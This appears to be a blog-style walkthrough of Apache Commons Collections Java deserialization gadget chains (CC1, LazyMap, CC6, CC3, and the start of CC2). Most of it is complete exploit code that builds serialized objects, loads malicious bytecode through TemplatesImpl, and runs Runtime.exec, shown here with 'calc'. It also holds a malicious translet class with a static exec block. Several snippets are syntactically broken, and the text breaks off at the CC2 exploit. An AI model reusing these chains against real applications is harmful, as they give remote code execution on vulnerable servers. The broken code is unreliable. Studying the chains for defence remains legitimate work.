CC1

0 20
CC1Let's talk about CC1 first.Firstly, in order to execute commands, we need to...

CC1

Let's talk about CC1 first.
Firstly, in order to execute commands, we need to find a malicious method. That is, the following class method

CC1_1.png

CC1

We can see that the transformer method in InvokerTransformer performs a reflection call

public O transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class<?> cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            {}

We can find that it calls method.invoke(input, this.iArgs); so we can use this transform to perform command execution
Through the constructor, we can know how iMethodName, iParamTypes, iArgs are passed in

CC1_2.png

We can find that its constructor is public, so we can construct the command execution in the following way

public class DDEMO {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(runtime);
    {}
{}

We need to find other classes that call this method from the transform method, so as to jump to other classes

CC1_4.png

We search for the class that called transform and found the cheakSetValue of TransformedMap

CC1_5.png

Continue to search and we can find the setValue of AbstractInputCheckedMapDecorator
First, we find this part, and we want to see how this setValue is triggered.
The setValue method is actually often used in the iteration of Map methods, as shown in the following code

for (Map.Entry entry : map.entrySet())
        {
            entry.setValue(runtime);
        {}

The above code is a loop over the setValue method in the map, and it will jump to the cheakSetValue of the map.

CC1_10.png

We can find that this TransformedMap class inherits from another AbstractInputCheckedMapDecorator class, and as we step by step, we will find that the final inherited class is the Map class.

CC1_11.png

In fact, this TransformedMap is just a Map class, so we can iterate over this TransformedMap to set value and thus call the cheakSetvalue method of TransformedMap, and then call the transform method.
That is, we can try to execute commands through the following method

public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("a", 1);
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
        for (Map.Entry entry : transformedMap.entrySet())
        {
            entry.setValue(runtime);
        {}
    {}

Then we check the call location of setValue

CC1_6.png

We can find a method that calls setValue in the readObject method

CC1_7.png

So our chain is actually complete. As follows

CC1_12.png

Although AnnotationInvocationHandler is not a public class, we can invoke it by reflection, the parameters of the AnnotationInvocationHandler constructor are an annotation class and a Map, and this annotation class is actually the one we overwrite@Overrideand so on.

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getConstructor(Class.class, Map.class);
        Object instance = constructor.newInstance(Target.class, transformedMap);

But now we still have two problems to solve, one is that the Runtime class does not inherit the Serializable interface, so we cannot deserialize it, and the other is that we can find that the value passed to setValue in AnnotationInvocationHandler is not controllable and is hardcoded, which leads to us being unable to pass Runtime into setValue for command execution

In fact, these two problems can be solved at one time
These are two classes

CC14.png

CC1_15.png

We can know from the codeChainedTransformerIn fact, the instantiated parameter is an array, and when it calls transform, it will loop through each class in the array to call transform, and the value returned by the previous call to transform will be used as the parameter for the next transform.
As follows is the code

Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);

Pass ConstantTransformer in the array, and after calling Transformer, it will return the original value of the instantiated parameter, i.e., it returns Runtime.class as the next transformer for InvokerTransformer to call, and so on, so that command execution can be achieved
So we pass chainedTransformer into TransformedMap, and when traversing the map, it will call the transformer of chainedTransformer
At this time, we can write the following exp

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void main(String[] args) throws Exception {
        Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("aaa","bbb");
        Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
        Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformerMap);

        Serializ(o);
        Unserialize("ser.bin");

    {}
{}

But this exp still has some problems, we can set a breakpoint to debug it

CC1_16.png

We can see that it finally gets the type through get(name), which is the annotated class attribute we passed in.
And the value of name is our map's key, so we just need to pass the key of the annotated class attribute to map.put

CC1_17.png

We pass a map's key as value
It can command execution, exp as follows

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void main(String[] args) throws Exception {
        Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "bbb");
        Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
        Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformerMap);

        Serializ(o);
        Unserialize("ser.bin");

    {}
{}

CC1_LazyMap

In ysoserial, the CC1 call chain does not use TransformerMap but uses LazyMap. Using this class to construct it will be more difficult than TransformerMap because it requires a java concept, namely dynamic proxy.
Let's take a look at how LazyMap calls transform

lazy1.png

We can find that it calls transform in the get, but we can't find the call to this get method in AnnotationInvocationHandler's readObject, but we found this call in invoke.

lazy2.png

And we can find that the AnnotationInvocationHandler class is a class that has completed the InvocationHandler interface. Then we use a Map's dynamic proxy and pass the third parameter as AnnotationInvocationHandler, so that this proxy will jump to invoke when calling any method. Thus, it will execute memberValues.get(member); to perform command execution
The latter part of the chain remains unchanged
We write a command execution demo

public static void main(String[] args) throws Exception {
        ("exec", new Class[]{String.class}, new Object[]{"calc"});
        Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
        Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
        proxyMap.entrySet();

In fact, the proxy in the above demo can pop up the computer for any interface, but because our deserialization entry point is AnnotationInvocationHandler's readObject, we still need to pass the proxy into AnnotationInvocationHandler, and its readObject calls entrySet() as follows

lazy3.png

That is, the proxy we pass in must be able to call entrySet() so that it can enter invoke normally, and this method is defined in the Map, so our interface must be defined as Map
exp as follows

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CC1_LazyMap {
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void main(String[] args) throws Exception {
        Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
        Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
        InvocationHandler inv = (InvocationHandler)constructor.newInstance(Target.class, proxyMap);
        Serializ(inv);
        Unserialize("ser.bin");
    {}
{}

CC6

The purpose of learning this chain is because the CC1 we learned can no longer be used after JDK8u71, because after JDK8u71, the readObject of AnnotationInvocationHandler has been changed. As follows

CC6_1.png

We can find that the two branches TransformerMap and LazyMap of CC1 are located at the trigger point of readObject and have been repaired, causing us to be unable to exploit them

So we need to learn this CC6
The second half of this CC6 chain is actually not very different from CC1_LazyMap, because java high version has modified AnnotationInvocationHandler, so we can only find the methods that call get in other classes.

Finally, we can find a getValue call that calls map.get() in TiedMapEntry

CC6_2.png

Continue to find and you can find that getValue() is called under hashCode() in the same category.

CC6_3.png

Upon seeing this hashCode, the dead memories suddenly attacked me. We have used hashCode() in the URLDNS we learned before, so the remaining call chain is not the same as URLDNS, right?

Through HashMap's readObject, we can call hash(), and the hash() method calls hashCode().

So we can write the following exp

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void main(String[] args) throws Exception {
        Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
        HashMap<Object, Object> map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
        HashMap<Object, Object> ser_map = new HashMap();
        ser_map.put(tiedMapEntry,"value");
        f.setAccessible(true);
        f.set(chainedTransformer, Transformer);
        Serializ(ser_map);
        Unserialize("ser.bin");
    {}
{}

However, unfortunately, when we execute, we find that the ser_map.put before deserialization triggers the computer, but the command execution will not be triggered during deserialization. Similarly, we can use a breakpoint to debug

CC6_4.png

We will find that it finds the key 'keykey' in the lazyMap, which is very strange. It is strange that the key is not defined but it can still find it
This is because when we use ser_map.put, we also trigger the following code

public V put(K key, V value) {}}
 return putVal(hash(key), key, value, false, true);
 {}

This results in the keykey being written to lazyMap, and the solution is simple, directly use lazyMap.remove("keykey")
This is enough
Before deserialization, we can execute commands by first passing a fake Transform array to ChainedTransformer, then put ser_map.put, and then pass a real Transform array through reflection. Example as follows

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void main(String[] args) throws Exception {
        Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        HashMap<Object, Object> map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
        HashMap<Object, Object> ser_map = new HashMap();
        ser_map.put(tiedMapEntry,"value");
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, Transformer);
        lazyMap.remove("keykey");
        Serializ(ser_map);
        Unserialize("ser.bin");
    {}
{}

CC6 modification without array

We can also modify the command execution method of CC6 so that it can execute commands without using an array
To execute commands without using an array, you need to use the method of loading bytecode to execute commands.

CC6_.png

CC6_6.png

By examining the call stack, we find that we can control the parameter Obj of transform(Obj), that is, as long as we pass templates, we can use the method newTransform to directly invoke templates.newTransform to load bytecode and execute commands. As long as the cc chain is controllable by Obj, we can directly execute commands by loading bytecode. The code is as follows

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6_noArray {
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();

        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));

        byte[][] codes = {code};
        bytecodeField.set(templates, codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); // Pass the parameter templates to the key so that an array does not need to be used
        HashMap<Object, Object> ser_map = new HashMap();
        ser_map.put(tiedMapEntry,"value");
        Field iMethodName=transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");
        lazyMap.remove(templates);

        Serializ(ser_map);
        Unserialize("ser.bin");
    {}
{}

CC3

The purpose of learning this chain is actually very simple, that is, this chain provides a second method of command execution, which is to execute commands through class loading methods.

The first part of CC3 actually has no difference from CC1, so I'll record how to execute commands through class loading here

As before, let's analyze the cause of command execution

Firstly, we know that after loading a class with ClassLoader and instantiating it, we can execute its constructor, static block, etc. The underlying call of ClassLoader is defineClass, but its defineClass is not a public class. We need to find a class that overrides defineClass, is public, and serializable

CC3_2.png

CC3_1.png

By searching for the format like defineClass, we can find that TemplatesImpl in the com.sun.org.apache.xalan.internal.xsltc.trax package overrides and calls defineClass()

CC3_3.png

By looking at the usage, we can see that defineTransletClasses() calls defineClass() and by looking further up

CC3_7.png

We can find that getTransletInstance() calls defineTransletClasses() and it uses our class with newInstance() for instantiation.

CC3_4.png

You can find the public newTransformer() by searching online
Once we find this, we can use the first part of our CC1 chain to reflectively call this newTransformer
So, to use this for command execution, we definitely need to use reflection to assign values to its internal properties.

Let's look at the getTransletInstance() method

CC3_7.png

We will find that it needs_nameWith a value, and_classNo value will enter defineTransletClasses()

CC_8.png

By examining defineTransletClasses(), we find that it uses_tfactoryThis value must have a value otherwise an error will occur, and it will store the bytecode_bytecodes[i]Passing to defineClass for processing
Then, by passing the malicious class we want to load into _bytecodes, we can execute commands.

CC3_8.png

By examining various attribute types, we can find that _bytecodes is a two-dimensional array.

CC3_9.png

However, _tfactory is transient, meaning it cannot be serialized, but we still need to call it, so it must be assigned a value during deserialization
Let's look at readObject

CC3_10.png

It will be found that it is assigned the value new TransformerFactoryImpl();
In this way, we can write a demo to check for command execution as follows

public class CC3 {


    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
        TemplatesImpl tmpl = new TemplatesImpl()
        Class clazz=tmpl.getClass();
        Field namefeld= clazz.getDeclaredField("_name");
        namefeld.setAccessible(true);
        namefeld.set(tmpl,"aaa");
        Field bytefeld= clazz.getDeclaredField("_bytecodes");
        bytefeld.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_demo.class"));
        byte[][] bytecodes= {code};
        bytefeld.set(tmpl,bytecodes);
        Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
        tfactoryfeld.setAccessible(true);
        tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
        tmpl.newTransformer();

    {}
{}

However, it will still report an error and cannot execute commands. This problem is due to the malicious class, and we can debug with breakpoints

CC3_13.png

CC3_14.png

We will find that as long as the value of the parent class of our malicious class is equal to ABSTRACT_TRANSLET, _transletIndex will be assigned, and it will not enter the else branch, so no error will be reported. Below there is another judgment on _transletIndex, if it is less than 0, an exception will be thrown, so the name of our malicious class's parent class must be ABSTRACT_TRANSLET, as follows

CC3_12.png

The malicious class code can be as follows to execute commands

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        {}
    {}

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    {}
{}

So the first half of this chain has been written
The first half of it is actually using CC1 to reflect newTransformer for command execution
exp as follows

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;



public class CC3 {

    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void main(String[] args) throws Exception {
        TemplatesImpl tmpl = new TemplatesImpl()
        Class clazz=tmpl.getClass();
        Field namefeld= clazz.getDeclaredField("_name");
        namefeld.setAccessible(true);
        namefeld.set(tmpl,"aaa");
        Field bytefeld= clazz.getDeclaredField("_bytecodes");
        bytefeld.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get();"C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
        byte[][] bytecodes= {code};
        bytefeld.set(tmpl,bytecodes);
        Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
        tfactoryfeld.setAccessible(true);
        tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
        tmpl.newTransformer();

        Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(tmpl),
                new InvokerTransformer("newTransformer", null, null)

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "bbb");
        Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
        Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformerMap);

        Serializ(o);
        Unserialize("ser.bin");

    {}
{}

We can also use further upward search to execute commands without using InvokerTransformer

We can look further up to find the TrAXFilter class,

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechanism();
    {}

}}
We can see that its constructor calls templates.newTransformer(). But since it is a constructor, we can only trigger it through instantiation or reflection.

public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException();
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            {}
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);
            {}

We can use this transform to instantiate TrAXFilter to trigger the constructor to load bytecode execution commands.
exp as follows

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;



public class CC3 {
    public static void Serializ(Object obj) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        byte[] byteArray = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(byteArray);
        System.out.println(base64);
    {}
    public static Object Unserializ(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    {}
    public static void main(String[] args) throws Exception {
        TemplatesImpl tmpl = new TemplatesImpl()
        Class clazz=tmpl.getClass();
        Field namefeld= clazz.getDeclaredField("_name");
        namefeld.setAccessible(true);
        namefeld.set(tmpl,"aaa");
        Field bytefeld= clazz.getDeclaredField("_bytecodes");
        bytefeld.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get();"C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
        byte[][] bytecodes= {code};
        bytefeld.set(tmpl,bytecodes);
        Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
        tfactoryfeld.setAccessible(true);
        tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
        Transformer[] Transformer = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{tmpl})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "bbb");
        Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
        Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformerMap);
        Serializ(o);
        Unserialize("ser.bin");
    {}
{}

CC2

CC2 is a chain in collections4, although CC1, 3, and 6 are chains in collections3.1, in fact, just changing the constructor of LazyMap or TransformedMap from decorate to lazyMap or transformedMap can make command execution possible

CC2_1.png

Alright, let's start talking about CC2
The chain of CC2 is actually just a change in the starting position. That is, the start has become PriorityQueue->TransformingComparator->TransformingComparator.transform()

The process from PriorityQueue to TransformingCompartor is as follows: readObject->heapify->siftDown->siftDownUsingComparator->compare->transform as follows

CC2_3.png
CC2_4.png

CC2_5.png

CC2_6.png

CC2_2.png

Knowing the calling process of these two, we can simply write out the exp.

import java.io.*;
